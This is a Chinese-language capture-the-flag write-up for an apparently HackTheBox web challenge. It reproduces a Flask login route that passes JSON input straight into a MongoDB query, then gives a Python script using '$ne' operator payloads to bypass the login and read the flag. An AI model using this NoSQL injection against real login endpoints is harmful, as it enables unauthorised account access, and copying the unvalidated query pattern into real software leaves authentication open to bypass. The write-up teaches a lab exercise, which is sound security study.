Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

题目描述

image-20250403125727904

(有附件)

观察

打开网页:

image-20250403124954313

查看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from flask import Flask, Blueprint, render_template, redirect, jsonify, request
from flask_bcrypt import Bcrypt
from pymongo import MongoClient

app = Flask(__name__)
app.config.from_object("application.config.Config")
bcrypt = Bcrypt(app)

client = MongoClient(app.config["MONGO_URI"])
db = client[app.config["DB_NAME"]]
users_collection = db["users"]

@app.errorhandler(Exception)
def handle_error(error):
message = error.description if hasattr(error, "description") else [str(x) for x in error.args]

response = {
"error": {
"type": error.__class__.__name__,
"message": message
}
}

return response, error.code if hasattr(error, "code") else 500


@app.route("/", methods=["GET"])
def index():
return render_template("index.html")


@app.route("/login", methods=["POST"])
def login():
content_type = request.headers.get("Content-Type")

if content_type == "application/x-www-form-urlencoded":
email = request.form.get("email")
password = request.form.get("password")

elif content_type == "application/json":
data = request.get_json()
email = data.get("email")
password = data.get("password")

else:
return jsonify({"error": "Unsupported Content-Type"}), 400

user = users_collection.find_one({"email": email, "password": password})

if user:
return render_template("candy.html", flag=open("flag.txt").read())
else:
return redirect("/")

发现使用了MongoDB进行验证:

1
2
3
4
user = users_collection.find_one({"email": email, "password": password})

if user:
return render_template("candy.html", flag=open("flag.txt").read())

如果在数据库里找到了对应的用户信息则登陆成功返回flag。

渗透

利用MongoDB的漏洞进行注入。我们发送以下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

url = "http://94.237.53.247:51317/login"

payload = {
"email": {"$ne": None},
"password": {"$ne": None}
}

response = requests.post(url, json=payload)

print("Response Body:\n", response.text)
# <body>
# <p data-text="HTB{s4y_h1_t0_th3_c4andy_v4u1t!}">HTB{s4y_h1_t0_th3_c4andy_v4u1t!}</p>
# </body>

这样一来MongoDB里的查询会被解释成:

1
{"email": {"$ne": null}, "password": {"$ne": null}}

也就是说会查找 email 不为 null 且 password 不为 null 的任意用户。这样便可以绕过登录验证。

得到flag:HTB{s4y_h1_t0_th3_c4andy_v4u1t!}

也可以发送:

1
2
3
4
payload = {
"email": {"$ne": 0},
"password": {"$ne": 0}
}

是一样的。